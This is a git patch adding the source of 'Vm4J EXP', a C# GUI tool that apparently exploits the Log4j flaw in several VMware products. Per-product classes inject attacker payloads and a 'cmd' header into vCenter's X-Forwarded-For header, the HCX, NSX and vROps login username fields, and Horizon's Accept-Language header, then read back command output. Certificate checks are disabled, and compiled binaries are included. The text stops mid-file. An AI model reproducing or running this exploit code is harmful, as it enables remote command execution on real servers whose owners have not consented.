From e2a3ebae74c5566be95f7bba2f80597664b243f1 Mon Sep 17 00:00:00 2001 From: NS-Sp4ce Date: Tue, 28 Dec 2021 09:47:41 +0800 Subject: [PATCH] First commit --- Csharp/Vm4J EXP.sln | 25 + Csharp/WindowsFormsApp1/App.config | 6 + .../WindowsFormsApp1/ExecPayload/VCenter.cs | 154 +++++ Csharp/WindowsFormsApp1/ExecPayload/VHCX.cs | 111 ++++ .../WindowsFormsApp1/ExecPayload/VHorizon.cs | 127 ++++ Csharp/WindowsFormsApp1/ExecPayload/VNSX.cs | 111 ++++ Csharp/WindowsFormsApp1/ExecPayload/VROM.cs | 111 ++++ .../ExecPayload/VWorkspaceOne.cs | 12 + Csharp/WindowsFormsApp1/Form1.Designer.cs | 322 ++++++++++ Csharp/WindowsFormsApp1/Form1.cs | 297 +++++++++ Csharp/WindowsFormsApp1/Form1.resx | 582 ++++++++++++++++++ Csharp/WindowsFormsApp1/Log.cs | 57 ++ Csharp/WindowsFormsApp1/Program.cs | 19 + .../Properties/AssemblyInfo.cs | 35 ++ .../Properties/Resources.Designer.cs | 63 ++ .../Properties/Resources.resx | 117 ++++ .../Properties/Settings.Designer.cs | 26 + .../Properties/Settings.settings | 7 + Csharp/WindowsFormsApp1/Tools.cs | 158 +++++ Csharp/WindowsFormsApp1/Vm4J EXP.csproj | 124 ++++ Csharp/WindowsFormsApp1/Vm4J EXP.csproj.user | 13 + .../WindowsFormsApp1/bin/Debug/Vm4j_exp.exe | Bin 0 -> 90624 bytes .../bin/Debug/Vm4j_exp.exe.config | 6 + .../WindowsFormsApp1/bin/Debug/Vm4j_exp.pdb | Bin 0 -> 85504 bytes .../WindowsFormsApp1/bin/Release/Vm4j_exp.exe | Bin 0 -> 89088 bytes .../bin/Release/Vm4j_exp.exe.config | 6 + .../WindowsFormsApp1/bin/Release/Vm4j_exp.pdb | Bin 0 -> 79360 bytes Csharp/WindowsFormsApp1/favicon.ico | Bin 0 -> 27198 bytes ...amework,Version=v4.0.AssemblyAttributes.cs | 4 + ...amework,Version=v4.5.AssemblyAttributes.cs | 4 + ...ework,Version=v4.6.2.AssemblyAttributes.cs | 4 + ...ework,Version=v4.7.2.AssemblyAttributes.cs | 4 + .../DesignTimeResolveAssemblyReferences.cache | Bin 0 -> 1982 bytes ...gnTimeResolveAssemblyReferencesInput.cache | Bin 0 -> 7236 bytes .../Properties.Resources.Designer.cs.dll | Bin 0 -> 3584 bytes .../Vm4J EXP.csproj.AssemblyReference.cache | Bin 0 -> 6 bytes .../Vm4J EXP.csproj.CoreCompileInputs.cache | 1 + .../Vm4J EXP.csproj.FileListAbsolute.txt | 11 + .../Vm4J EXP.csproj.GenerateResource.cache | Bin 0 -> 126 bytes ...EXP.csproj.SuggestedBindingRedirects.cache | 0 .../obj/Debug/Vm4j_exp.Form1.resources | Bin 0 -> 27764 bytes .../Vm4j_exp.Properties.Resources.resources | Bin 0 -> 180 bytes .../WindowsFormsApp1/obj/Debug/Vm4j_exp.exe | Bin 0 -> 90624 bytes .../WindowsFormsApp1/obj/Debug/Vm4j_exp.pdb | Bin 0 -> 85504 bytes ...wsFormsApp1.csproj.AssemblyReference.cache | Bin 0 -> 6035 bytes ...amework,Version=v4.5.AssemblyAttributes.cs | 4 + .../Properties.Resources.Designer.cs.dll | Bin 0 -> 3584 bytes .../Vm4J EXP.csproj.AssemblyReference.cache | Bin 0 -> 6 bytes .../Vm4J EXP.csproj.CoreCompileInputs.cache | 1 + .../Vm4J EXP.csproj.FileListAbsolute.txt | 11 + .../Vm4J EXP.csproj.GenerateResource.cache | Bin 0 -> 126 bytes ...EXP.csproj.SuggestedBindingRedirects.cache | 0 .../obj/Release/Vm4j_exp.Form1.resources | Bin 0 -> 27764 bytes .../Vm4j_exp.Properties.Resources.resources | Bin 0 -> 180 bytes .../WindowsFormsApp1/obj/Release/Vm4j_exp.exe | Bin 0 -> 89088 bytes .../WindowsFormsApp1/obj/Release/Vm4j_exp.pdb | Bin 0 -> 79360 bytes Csharp/favicon.ico | Bin 0 -> 27198 bytes README.md | 21 + README/img1.png | Bin 0 -> 150373 bytes 59 files changed, 2554 insertions(+) create mode 100644 Csharp/Vm4J EXP.sln create mode 100644 Csharp/WindowsFormsApp1/App.config create mode 100644 Csharp/WindowsFormsApp1/ExecPayload/VCenter.cs create mode 100644 Csharp/WindowsFormsApp1/ExecPayload/VHCX.cs create mode 100644 Csharp/WindowsFormsApp1/ExecPayload/VHorizon.cs create mode 100644 Csharp/WindowsFormsApp1/ExecPayload/VNSX.cs create mode 100644 Csharp/WindowsFormsApp1/ExecPayload/VROM.cs create mode 100644 Csharp/WindowsFormsApp1/ExecPayload/VWorkspaceOne.cs create mode 100644 Csharp/WindowsFormsApp1/Form1.Designer.cs create mode 100644 Csharp/WindowsFormsApp1/Form1.cs create mode 100644 Csharp/WindowsFormsApp1/Form1.resx create mode 100644 Csharp/WindowsFormsApp1/Log.cs create mode 100644 Csharp/WindowsFormsApp1/Program.cs create mode 100644 Csharp/WindowsFormsApp1/Properties/AssemblyInfo.cs create mode 100644 Csharp/WindowsFormsApp1/Properties/Resources.Designer.cs create mode 100644 Csharp/WindowsFormsApp1/Properties/Resources.resx create mode 100644 Csharp/WindowsFormsApp1/Properties/Settings.Designer.cs create mode 100644 Csharp/WindowsFormsApp1/Properties/Settings.settings create mode 100644 Csharp/WindowsFormsApp1/Tools.cs create mode 100644 Csharp/WindowsFormsApp1/Vm4J EXP.csproj create mode 100644 Csharp/WindowsFormsApp1/Vm4J EXP.csproj.user create mode 100644 Csharp/WindowsFormsApp1/bin/Debug/Vm4j_exp.exe create mode 100644 Csharp/WindowsFormsApp1/bin/Debug/Vm4j_exp.exe.config create mode 100644 Csharp/WindowsFormsApp1/bin/Debug/Vm4j_exp.pdb create mode 100644 Csharp/WindowsFormsApp1/bin/Release/Vm4j_exp.exe create mode 100644 Csharp/WindowsFormsApp1/bin/Release/Vm4j_exp.exe.config create mode 100644 Csharp/WindowsFormsApp1/bin/Release/Vm4j_exp.pdb create mode 100644 Csharp/WindowsFormsApp1/favicon.ico create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.0.AssemblyAttributes.cs create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.6.2.AssemblyAttributes.cs create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/DesignTimeResolveAssemblyReferences.cache create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.AssemblyReference.cache create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.CoreCompileInputs.cache create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.FileListAbsolute.txt create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.GenerateResource.cache create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/Vm4J EXP.csproj.SuggestedBindingRedirects.cache create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/Vm4j_exp.Form1.resources create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/Vm4j_exp.Properties.Resources.resources create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/Vm4j_exp.exe create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/Vm4j_exp.pdb create mode 100644 Csharp/WindowsFormsApp1/obj/Debug/WindowsFormsApp1.csproj.AssemblyReference.cache create mode 100644 Csharp/WindowsFormsApp1/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs create mode 100644 Csharp/WindowsFormsApp1/obj/Release/TempPE/Properties.Resources.Designer.cs.dll create mode 100644 Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.AssemblyReference.cache create mode 100644 Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.CoreCompileInputs.cache create mode 100644 Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.FileListAbsolute.txt create mode 100644 Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.GenerateResource.cache create mode 100644 Csharp/WindowsFormsApp1/obj/Release/Vm4J EXP.csproj.SuggestedBindingRedirects.cache create mode 100644 Csharp/WindowsFormsApp1/obj/Release/Vm4j_exp.Form1.resources create mode 100644 Csharp/WindowsFormsApp1/obj/Release/Vm4j_exp.Properties.Resources.resources create mode 100644 Csharp/WindowsFormsApp1/obj/Release/Vm4j_exp.exe create mode 100644 Csharp/WindowsFormsApp1/obj/Release/Vm4j_exp.pdb create mode 100644 Csharp/favicon.ico create mode 100644 README/img1.png diff --git a/Csharp/Vm4J EXP.sln b/Csharp/Vm4J EXP.sln new file mode 100644 index 0000000..97b4c79 --- /dev/null +++ b/Csharp/Vm4J EXP.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32002.261 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Vm4J EXP", "WindowsFormsApp1\Vm4J EXP.csproj", "{09956173-11CF-4D53-8F0A-5A40223FEC6E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {09956173-11CF-4D53-8F0A-5A40223FEC6E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {09956173-11CF-4D53-8F0A-5A40223FEC6E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {09956173-11CF-4D53-8F0A-5A40223FEC6E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {09956173-11CF-4D53-8F0A-5A40223FEC6E}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {50E99E17-C529-4B98-A099-BDA855360249} + EndGlobalSection +EndGlobal diff --git a/Csharp/WindowsFormsApp1/App.config b/Csharp/WindowsFormsApp1/App.config new file mode 100644 index 0000000..e707b32 --- /dev/null +++ b/Csharp/WindowsFormsApp1/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/Csharp/WindowsFormsApp1/ExecPayload/VCenter.cs b/Csharp/WindowsFormsApp1/ExecPayload/VCenter.cs new file mode 100644 index 0000000..f9c68fc --- /dev/null +++ b/Csharp/WindowsFormsApp1/ExecPayload/VCenter.cs @@ -0,0 +1,154 @@ +using System; +using System.IO; +using System.Net; +using System.Text; + +namespace Vm4j_exp.ExecPayload +{ + class VCenter + { + private static string redircetUrl, ssoDomain; + private static string UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"; + private static int Timeout = 10000; + public static string GetRedirctUrl(string url) + { + Log log = new Log(); + //get redirectUrl + try + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url.EndsWith("/") ? url + "ui/login" : url + "/ui/login"); + //System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080); + //request.Proxy = proxy; + request.AllowAutoRedirect = false; + request.UserAgent = UserAgent; + request.KeepAlive = false; + request.Accept = "*/*"; + request.Timeout = Timeout; + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + if (response.StatusCode == HttpStatusCode.Redirect || response.StatusCode == HttpStatusCode.MovedPermanently) + { + redircetUrl = response.Headers["Location"]; + string _ssoDomain = redircetUrl.Split('?')[0]; + string[] str = _ssoDomain.Split('/'); + ssoDomain = str[str.Length - 1]; + log.LogSuccess("Get redirect URL Success"); + log.LogInfo("SSOdomain =>" + ssoDomain); + } + response.Close(); + return redircetUrl; + } + catch (Exception e) + { + log.LogError("Get Error:" + e); + return null; + } + } + public static string VCenterEcho(string url, string cmd, string xffHeader) + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; + ServicePointManager.Expect100Continue = false; + Log log = new Log(); + string redirectUrl = GetRedirctUrl(url); + string postdata = "CastleAuthorization=Basic%20dm00ajp2bTRq"; + if (redirectUrl == null) + { + log.LogError("Get Redirect URL failed."); + return null; + } + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(redirectUrl); + //System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080); + //request.Proxy = proxy; + request.Method = "POST"; + request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"; + request.UserAgent = UserAgent; + request.KeepAlive = false; + request.Accept = "*/*"; + request.Timeout = Timeout; + request.Headers.Add("X-Forwarded-For", xffHeader); + request.Headers.Add("cmd", cmd); + byte[] data = Encoding.UTF8.GetBytes(postdata); + request.ContentLength = data.Length; + //request.ProtocolVersion = HttpVersion.Version10; + using (Stream reqStream = request.GetRequestStream()) + { + reqStream.Write(data, 0, data.Length); + } + StringBuilder sb = new StringBuilder(); + using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse()) + { + using (StreamReader reader = new StreamReader(resp.GetResponseStream(), Encoding.UTF8)) + { + try + { + while (!reader.EndOfStream) + { + sb.Append((char)reader.Read()); + } + } + catch (IOException e) + { + log.LogError("Get Error:" + e.Message); + } + } + } + string result = sb.ToString(); + return result; + } + catch (Exception e) + { + log.LogError("Get Error:" + e.Message); + return "false"; + } + } + public static string VCenterExec(string url, string xffHeader) + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; + ServicePointManager.Expect100Continue = false; + Log log = new Log(); + string redirectUrl = GetRedirctUrl(url); + string postdata = "CastleAuthorization=Basic%20dm00ajp2bTRq"; + if (redirectUrl == null) + { + log.LogError("Get Redirect URL failed."); + return null; + } + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(redirectUrl); + //System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080); + //request.Proxy = proxy; + request.Method = "POST"; + request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"; + request.UserAgent = UserAgent; + request.KeepAlive = false; + request.Accept = "*/*"; + request.Timeout = Timeout; + request.Headers.Add("X-Forwarded-For", xffHeader); + byte[] data = Encoding.UTF8.GetBytes(postdata); + request.ContentLength = data.Length; + //request.ProtocolVersion = HttpVersion.Version10; + using (Stream reqStream = request.GetRequestStream()) + { + reqStream.Write(data, 0, data.Length); + } + StringBuilder sb = new StringBuilder(); + using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse()) + { + return "true"; + } + + } + catch (Exception e) + { + log.LogError("Get Error:" + e.Message); + return "false"; + } + } + } +} diff --git a/Csharp/WindowsFormsApp1/ExecPayload/VHCX.cs b/Csharp/WindowsFormsApp1/ExecPayload/VHCX.cs new file mode 100644 index 0000000..27199c7 --- /dev/null +++ b/Csharp/WindowsFormsApp1/ExecPayload/VHCX.cs @@ -0,0 +1,111 @@ +using System; +using System.IO; +using System.Net; +using System.Text; + + +namespace Vm4j_exp.ExecPayload +{ + class VHCX + { + private static string UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"; + private static int Timeout = 10000; + public static string VHCXEcho(string url, string cmd, string payload) + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; + ServicePointManager.Expect100Continue = false; + Log log = new Log(); + string postdata = "{\"authType\": \"password\",\"username\": \"" + payload + "\",\"password\": \"vm4j\"}"; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url.EndsWith("/") ? url + "hybridity/api/sessions" : url + "/hybridity/api/sessions"); +#if DEBUG + System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080); + request.Proxy = proxy; +#else + request.Proxy = null; +#endif + request.Method = "POST"; + request.ContentType = "application/json; charset=UTF-8"; + request.UserAgent = UserAgent; + request.KeepAlive = false; + request.Accept = "*/*"; + request.Timeout = Timeout; + request.Headers.Add("cmd", cmd); + byte[] data = Encoding.UTF8.GetBytes(postdata); + request.ContentLength = data.Length; + using (Stream reqStream = request.GetRequestStream()) + { + reqStream.Write(data, 0, data.Length); + } + StringBuilder sb = new StringBuilder(); + using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse()) + { + using (StreamReader reader = new StreamReader(resp.GetResponseStream(), Encoding.UTF8)) + { + try + { + while (!reader.EndOfStream) + { + sb.Append((char)reader.Read()); + } + } + catch (IOException e) + { + log.LogError("Get Error:" + e.Message); + } + } + } + string result = sb.ToString(); + return result; + } + catch (Exception e) + { + log.LogError("Get Error:" + e.Message); + return "false"; + } + } + public static string VHCXExec(string url, string payload) + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; + ServicePointManager.Expect100Continue = false; + Log log = new Log(); + string postdata = "{\"authType\": \"password\",\"username\": \"" + payload + "\",\"password\": \"vm4j\"}"; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url.EndsWith("/") ? url + "hybridity/api/sessions" : url + "/hybridity/api/sessions"); +#if DEBUG + System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080); + request.Proxy = proxy; +#else + request.Proxy = null; +#endif + request.Method = "POST"; + request.ContentType = "application/json; charset=UTF-8"; + request.UserAgent = UserAgent; + request.KeepAlive = false; + request.Accept = "*/*"; + request.Timeout = Timeout; + byte[] data = Encoding.UTF8.GetBytes(postdata); + request.ContentLength = data.Length; + using (Stream reqStream = request.GetRequestStream()) + { + reqStream.Write(data, 0, data.Length); + } + StringBuilder sb = new StringBuilder(); + using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse()) + { + return "true"; + } + + } + catch (Exception e) + { + log.LogError("Get Error:" + e.Message); + return "false"; + } + } + } +} diff --git a/Csharp/WindowsFormsApp1/ExecPayload/VHorizon.cs b/Csharp/WindowsFormsApp1/ExecPayload/VHorizon.cs new file mode 100644 index 0000000..8c6bf53 --- /dev/null +++ b/Csharp/WindowsFormsApp1/ExecPayload/VHorizon.cs @@ -0,0 +1,127 @@ +using System; +using System.IO; +using System.Net; +using System.Text; + +namespace Vm4j_exp.ExecPayload +{ + class VHorizon + { + private static string UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"; + private static int Timeout = 10000; + public static string VHorizonEcho(string url, string cmd, string payload) + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; + ServicePointManager.Expect100Continue = false; + Log log = new Log(); + /* + * remove comment if request url use /broker/xml + * + * string postdata = "securid-passcodeusername"+payload+"passcodecm4j"; + */ + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url.EndsWith("/") ? url + "portal/info.jsp" : url + "/portal/info.jsp"); +#if DEBUG + System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080); + request.Proxy = proxy; +#else + request.Proxy = null; +#endif + request.Method = "GET"; + request.UserAgent = UserAgent; + request.KeepAlive = false; + request.Accept = "*/*"; + request.Timeout = Timeout; + request.Headers.Add("Accept-Language",payload); + request.Headers.Add("cmd", cmd); + /* + * remove comment if request url use /broker/xml + * + byte[] data = Encoding.UTF8.GetBytes(postdata); + request.ContentLength = data.Length; + using (Stream reqStream = request.GetRequestStream()) + { + reqStream.Write(data, 0, data.Length); + } + */ + StringBuilder sb = new StringBuilder(); + using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse()) + { + using (StreamReader reader = new StreamReader(resp.GetResponseStream(), Encoding.UTF8)) + { + try + { + while (!reader.EndOfStream) + { + sb.Append((char)reader.Read()); + } + } + catch (IOException e) + { + log.LogError("Get Error:" + e.Message); + } + } + } + string result = sb.ToString(); + return result; + } + catch (Exception e) + { + log.LogError("Get Error:" + e.Message); + return "false"; + } + } + public static string VHorizonExec(string url, string payload) + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; + ServicePointManager.Expect100Continue = false; + Log log = new Log(); + /* + * remove comment if request url use /broker/xml + * + * string postdata = "securid-passcodeusername"+payload+"passcodecm4j"; + */ + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url.EndsWith("/") ? url + "portal/info.jsp" : url + "/portal/info.jsp"); +#if DEBUG + System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080); + request.Proxy = proxy; +#else + request.Proxy = null; +#endif + request.Method = "GET"; + //request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"; + request.UserAgent = UserAgent; + request.KeepAlive = false; + request.Accept = "*/*"; + request.Timeout = Timeout; + request.Headers.Add("Accept-Language", payload); + /* + * remove comment if request url use /broker/xml + * + byte[] data = Encoding.UTF8.GetBytes(postdata); + request.ContentLength = data.Length; + using (Stream reqStream = request.GetRequestStream()) + { + reqStream.Write(data, 0, data.Length); + } + */ + StringBuilder sb = new StringBuilder(); + using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse()) + { + return "true"; + } + + } + catch (Exception e) + { + log.LogError("Get Error:" + e.Message); + return "false"; + } + } + } +} diff --git a/Csharp/WindowsFormsApp1/ExecPayload/VNSX.cs b/Csharp/WindowsFormsApp1/ExecPayload/VNSX.cs new file mode 100644 index 0000000..42e09cb --- /dev/null +++ b/Csharp/WindowsFormsApp1/ExecPayload/VNSX.cs @@ -0,0 +1,111 @@ +using System; +using System.IO; +using System.Net; +using System.Text; + + +namespace Vm4j_exp.ExecPayload +{ + class VNSX + { + private static string UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"; + private static int Timeout = 10000; + public static string VNSXEcho(string url, string cmd, string payload) + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; + ServicePointManager.Expect100Continue = false; + Log log = new Log(); + string postdata = "j_username=" + payload + "&j_password=vm4j&submit-btn=vm4j"; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url.EndsWith("/") ? url + "j_spring_security_check" : url + "/j_spring_security_check"); +#if DEBUG + System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080); + request.Proxy = proxy; +#else + request.Proxy = null; +#endif + request.Method = "POST"; + request.ContentType = "application/json; charset=UTF-8"; + request.UserAgent = UserAgent; + request.KeepAlive = false; + request.Accept = "*/*"; + request.Timeout = Timeout; + request.Headers.Add("cmd", cmd); + byte[] data = Encoding.UTF8.GetBytes(postdata); + request.ContentLength = data.Length; + using (Stream reqStream = request.GetRequestStream()) + { + reqStream.Write(data, 0, data.Length); + } + StringBuilder sb = new StringBuilder(); + using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse()) + { + using (StreamReader reader = new StreamReader(resp.GetResponseStream(), Encoding.UTF8)) + { + try + { + while (!reader.EndOfStream) + { + sb.Append((char)reader.Read()); + } + } + catch (IOException e) + { + log.LogError("Get Error:" + e.Message); + } + } + } + string result = sb.ToString(); + return result; + } + catch (Exception e) + { + log.LogError("Get Error:" + e.Message); + return "false"; + } + } + public static string VNSXExec(string url, string payload) + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; + ServicePointManager.Expect100Continue = false; + Log log = new Log(); + string postdata = "j_username="+payload+"&j_password=vm4j&submit-btn=vm4j"; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url.EndsWith("/") ? url + "j_spring_security_check" : url + "/j_spring_security_check"); +#if DEBUG + System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080); + request.Proxy = proxy; +#else + request.Proxy = null; +#endif + request.Method = "POST"; + request.ContentType = "application/json; charset=UTF-8"; + request.UserAgent = UserAgent; + request.KeepAlive = false; + request.Accept = "*/*"; + request.Timeout = Timeout; + byte[] data = Encoding.UTF8.GetBytes(postdata); + request.ContentLength = data.Length; + using (Stream reqStream = request.GetRequestStream()) + { + reqStream.Write(data, 0, data.Length); + } + StringBuilder sb = new StringBuilder(); + using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse()) + { + return "true"; + } + + } + catch (Exception e) + { + log.LogError("Get Error:" + e.Message); + return "false"; + } + } + } +} diff --git a/Csharp/WindowsFormsApp1/ExecPayload/VROM.cs b/Csharp/WindowsFormsApp1/ExecPayload/VROM.cs new file mode 100644 index 0000000..0c8f8b4 --- /dev/null +++ b/Csharp/WindowsFormsApp1/ExecPayload/VROM.cs @@ -0,0 +1,111 @@ +using System; +using System.IO; +using System.Net; +using System.Text; + +namespace Vm4j_exp.ExecPayload +{ + class VROM + { + + private static string UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"; + private static int Timeout = 10000; + public static string VROMEcho(string url, string cmd, string payload) + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; + ServicePointManager.Expect100Continue = false; + Log log = new Log(); + string postdata = "mainAction=login&userName="+payload+"&password=aaaaa&authSourceId=localItem&authSourceType=LOCAL"; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url.EndsWith("/") ? url + "ui/login.action" : url + "/ui/login.action"); +#if DEBUG + System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080); + request.Proxy = proxy; +#else + request.Proxy = null; +#endif + request.Method = "POST"; + request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"; + request.UserAgent = UserAgent; + request.KeepAlive = false; + request.Accept = "*/*"; + request.Timeout = Timeout; + request.Headers.Add("cmd", cmd); + byte[] data = Encoding.UTF8.GetBytes(postdata); + request.ContentLength = data.Length; + using (Stream reqStream = request.GetRequestStream()) + { + reqStream.Write(data, 0, data.Length); + } + StringBuilder sb = new StringBuilder(); + using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse()) + { + using (StreamReader reader = new StreamReader(resp.GetResponseStream(), Encoding.UTF8)) + { + try + { + while (!reader.EndOfStream) + { + sb.Append((char)reader.Read()); + } + } + catch (IOException e) + { + log.LogError("Get Error:" + e.Message); + } + } + } + string result = sb.ToString(); + return result; + } + catch (Exception e) + { + log.LogError("Get Error:" + e.Message); + return "false"; + } + } + public static string VROMExec(string url, string payload) + { + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; + ServicePointManager.Expect100Continue = false; + Log log = new Log(); + string postdata = "mainAction=login&userName=" + payload + "&password=aaaaa&authSourceId=localItem&authSourceType=LOCAL"; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url.EndsWith("/") ? url + "ui/login.action" : url + "/ui/login.action"); +#if DEBUG + System.Net.WebProxy proxy = new WebProxy("127.0.0.1", 8080); + request.Proxy = proxy; +#else + request.Proxy = null; +#endif + request.Method = "POST"; + request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"; + request.UserAgent = UserAgent; + request.KeepAlive = false; + request.Accept = "*/*"; + request.Timeout = Timeout; + byte[] data = Encoding.UTF8.GetBytes(postdata); + request.ContentLength = data.Length; + using (Stream reqStream = request.GetRequestStream()) + { + reqStream.Write(data, 0, data.Length); + } + StringBuilder sb = new StringBuilder(); + using (HttpWebResponse resp = (HttpWebResponse)request.GetResponse()) + { + return "true"; + } + + } + catch 